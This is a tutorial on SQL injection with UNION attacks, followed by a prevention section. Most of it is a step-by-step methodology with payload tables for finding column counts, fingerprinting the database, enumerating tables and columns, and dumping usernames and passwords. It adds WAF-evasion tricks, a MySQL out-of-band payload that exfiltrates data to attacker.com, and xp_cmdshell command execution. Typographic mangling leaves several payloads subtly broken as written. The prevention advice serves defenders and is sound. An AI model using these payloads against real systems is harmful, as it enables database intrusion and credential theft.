SQL Injection With UNION Attacks: How To & Prevention

SQL injection (SQLi) is a critical web vulnerability that allows attackers to manipulate database queries. When combined with UNION attacks, attackers can retrieve data from other tables by appending additional SELECT queries.

This guide walks you through the process of performing a SQL injection with UNION attacks and provides robust prevention strategies to secure your applications.

---

What Are SQL Injection UNION Attacks?

UNION SQL injection exploits vulnerabilities in web applications to append a malicious SELECT query to the original database query using the UNION operator. This allows attackers to retrieve data from other tables, such as user credentials or sensitive information.

Key Requirements for UNION Attacks:

• The UNION query must have the same number of columns as the original query.
• The data types of corresponding columns must be compatible (e.g., string with string, integer with integer).

---

Step 1: Determine the Number of Columns

To perform a UNION attack, you first need to match the number of columns in the original query.

Methods to Find Column Count

1. ORDER BY Method: Increment column numbers until an error occurs.
   • Example: ORDER BY 1–, ORDER BY 2–, ORDER BY 3–, etc.
   • If ORDER BY 3– errors but ORDER BY 2– succeeds, the query has 2 columns.
2. UNION SELECT NULL Method: Append NULL values and increment until the query executes without an error.
   • Example Payloads:

Payload	Description
‘+UNION+SELECT+NULL,NULL–	Tests for 2 columns. Succeeds if no error.
‘+UNION+SELECT+NULL,NULL,NULL–	Tests for 3 columns. Increment NULLs as needed.
‘+UNION+SELECT+1,2–	Uses dummy values if NULL is filtered.

Notes:

• An error indicates a wrong column count; no error means you’ve found the correct count.
• If NULL is filtered, use dummy values like numbers (e.g., 1,2) or strings (e.g., ‘a’,’b’).

---

Step 2: Determine Database Type & Version

Knowing the database type helps tailor your attack. Use specific queries to retrieve the version.

Payloads for Database Version

Payload	Description
‘+UNION+SELECT+@@version,+NULL–	MySQL/MSSQL version (e.g., “8.0.23”).
‘+UNION+SELECT+version(),+NULL–	PostgreSQL version (e.g., “15.3”).
‘+UNION+SELECT+sqlite_version(),+NULL–	SQLite version (e.g., “3.39.2”).
‘+UNION+SELECT+banner,+NULL+FROM+v$version–	Oracle version (e.g., “Oracle Database 19c”).

Database Reference:

Database	Query
MySQL, MSSQL	SELECT @@version
PostgreSQL	SELECT version()
SQLite	SELECT sqlite_version()
Oracle	SELECT banner FROM v$version

Notes:

• Match the column count from Step 1 (e.g., add NULL for a 2-column query).
• Errors indicate a wrong database type or column mismatch.
• Oracle may require additional columns depending on the original query.

---

Step 3: Find String-Compatible Columns

UNION attacks often require string-compatible columns to retrieve meaningful data (e.g., usernames, passwords). Test each column by injecting a string like ‘a’.

Method

• Example: For a 3-column query, test:
  • ‘+UNION+SELECT+’a’,NULL,NULL– (tests column 1)
  • ‘+UNION+SELECT+NULL,’a’,NULL– (tests column 2)
  • ‘+UNION+SELECT+NULL,NULL,’a’– (tests column 3)
• If the query succeeds without an error, that column is string-compatible.

Notes:

• String-compatible columns are essential for extracting textual data.
• If a column isn’t string-compatible, you may need to cast data (e.g., CAST(column AS VARCHAR) in MSSQL).

---

Step 4: List Database Tables

Once you know the column count and database type, enumerate the database to find tables.

Payloads to List Tables

Payload	Description
‘+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables+WHERE+table_schema=’public’–	PostgreSQL: Lists tables in public schema (e.g., “users”).
‘+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables–	MySQL/MSSQL: Lists all tables (e.g., “users”).
‘+UNION+SELECT+name,+NULL+FROM+sys.tables–	MSSQL: Alternative to list tables.
‘+UNION+SELECT+table_name,+NULL+FROM+all_tables–	Oracle: Lists accessible tables (e.g., “USERS”).

Notes:

• Filter with table_schema (e.g., ‘public’ for PostgreSQL, ‘dbo’ for MSSQL) to reduce noise.
• Oracle uses all_tables (or dba_tables if privileged). Table names are uppercase (e.g., ‘USERS’).
• Common tables to look for: users, admins, accounts, credentials.

---

Step 5: Determine Column Names of a Table

After identifying a target table (e.g., users), find its column names.

Payloads to List Columns

Payload	Description
‘+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name=’users’–	MySQL/PostgreSQL: Lists columns (e.g., “username”).
‘+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name=’users’+AND+table_schema=’public’–	PostgreSQL: Filters for public schema.
‘+UNION+SELECT+name,+NULL+FROM+sys.columns+WHERE+object_id=OBJECT_ID(‘users’)–	MSSQL: Lists columns (e.g., “email”).
‘+UNION+SELECT+column_name,+NULL+FROM+all_tab_columns+WHERE+table_name=’USERS’–	Oracle: Lists columns (e.g., “PASSWD”).

Notes:

• Replace ‘users’ with your target table from Step 4.
• Table names are case-sensitive (e.g., ‘USERS’ for Oracle).
• Add table_schema for multi-schema databases.
• Common columns to look for: username, password, email, role, pass, user_id.

---

Step 6: Extract Data From the Table

With the table and column names, extract the data.

Payloads to Extract Data

Payload	Description
‘+UNION+SELECT+username,+password+FROM+users–	Extracts username and password (e.g., “admin, pass123”).
‘+UNION+SELECT+username,+password+FROM+users+WHERE+username=’administrator’–	Filters for the administrator user.

Notes:

• Use column names from Step 5.
• Concatenate data if needed:
  • PostgreSQL/Oracle: username || ‘:’ || password
  • MySQL: CONCAT(username, ‘:’, password)
• If the output is truncated, try different columns or use LIMIT to paginate results (e.g., LIMIT 1 OFFSET 0).

---

Advanced Techniques

Bypassing Filters

• WAF Evasion: If UNION or SELECT is filtered, use case variations (e.g., UnIoN, SeLeCt) or inline comments (e.g., /**/UNION/**/SELECT).
• Encoded Characters: Use URL encoding (e.g., + for space) or double encoding to bypass restrictions.
• Alternative Syntax: For MySQL, use # for comments instead of — if — is filtered.

Extracting Hidden Data

• Boolean-Based UNION: If direct output isn’t possible, use boolean conditions (e.g., ‘+UNION+SELECT+1,IF(1=1,’true’,’false’)–).
• Time-Based UNION: Use delays to infer data (e.g., ‘+UNION+SELECT+1,SLEEP(5)– in MySQL).
• Out-of-Band (OOB): Use DNS or HTTP requests to exfiltrate data (e.g., ‘+UNION+SELECT+1,LOAD_FILE(CONCAT(‘\\\\’,@@version,’.attacker.com\\a’))– in MySQL).

Targeting Specific Databases

• MySQL: Use information_schema for enumeration; LOAD_FILE() to read files if permissions allow.
• PostgreSQL: Leverage pg_catalog for system data (e.g., ‘+UNION+SELECT+usename,+passwd+FROM+pg_shadow–).
• Oracle: Use DBMS_UTILITY.DBMS_UTILITY_NAME() for privilege escalation if possible.
• MSSQL: Use xp_cmdshell to execute OS commands if enabled (e.g., ‘+UNION+SELECT+1,EXEC+xp_cmdshell+’whoami’–).

---

Prevention Strategies

1. Use Prepared Statements

• Replace dynamic queries with parameterized statements to prevent injection.
  • Example (PHP with PDO): phpCollapseWrapCopy$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]);
  • Example (Python with SQLAlchemy): pythonCollapseWrapCopyresult = engine.execute("SELECT * FROM users WHERE id = :id", {"id": user_id})

2. Input Validation and Sanitization

• Validate user inputs to ensure they match expected formats (e.g., integers for IDs).
• Sanitize inputs by escaping special characters (e.g., quotes, dashes).
  • Example (PHP): mysqli_real_escape_string($conn, $input).

3. Least Privilege Principle

• Run database users with minimal permissions.
• Avoid using root or sa accounts for web applications.
• Disable unnecessary features (e.g., xp_cmdshell in MSSQL, file access in MySQL).

4. Use an ORM

• Object-Relational Mappers (e.g., Hibernate, Django ORM) automatically handle parameterization.
  • Example (Django): pythonCollapseWrapCopyUser.objects.filter(id=user_id)

5. Implement a Web Application Firewall (WAF)

• Deploy a WAF to detect and block SQL injection attempts.
• Configure rules to block keywords like UNION, SELECT, or –.
• Example: Use Cloudflare WAF or ModSecurity with OWASP Core Rule Set.

6. Error Handling

• Avoid exposing database errors to users (e.g., “Invalid column name”).
• Use custom error messages and log errors securely for debugging.
  • Example (PHP): phpCollapseWrapCopytry { $stmt->execute(); } catch (PDOException $e) { log_error($e->getMessage()); echo "An error occurred."; }

7. Regular Security Audits

• Conduct code reviews and penetration testing to identify SQLi vulnerabilities.
• Use tools like SQLMap to test for UNION-based SQL injections.
• Example Command: sqlmap -u “http://example.com?id=1” –union.

---

Common Pitfalls to Avoid

• Overlooking Case Sensitivity: Oracle table/column names are uppercase (e.g., USERS, not users).
• Ignoring Schema Filters: Use table_schema to avoid irrelevant system tables.
• Not Testing All Columns: Ensure all columns are tested for string compatibility to maximize data extraction.
• Exposing Errors: Leaking database errors can help attackers refine their payloads.

---

Extras

Comment Syntax

Database	Comment Style
Most	— (with space)
MySQL	#

Common Targets

• Tables: users, admins, accounts, credentials.
• Columns: username, password, email, role, pass, user_id.

---

Conclusion

SQL injection with UNION attacks are a powerful technique for extracting data from databases by appending malicious queries. By following the steps outlined, determining column count, identifying the database, enumerating tables and columns, and extracting data, you can understand how attackers exploit this vulnerability. More importantly, implementing prevention strategies like prepared statements, input validation, and least privilege principles can protect your applications from such attacks. Stay proactive with regular audits and secure coding practices to keep your databases safe.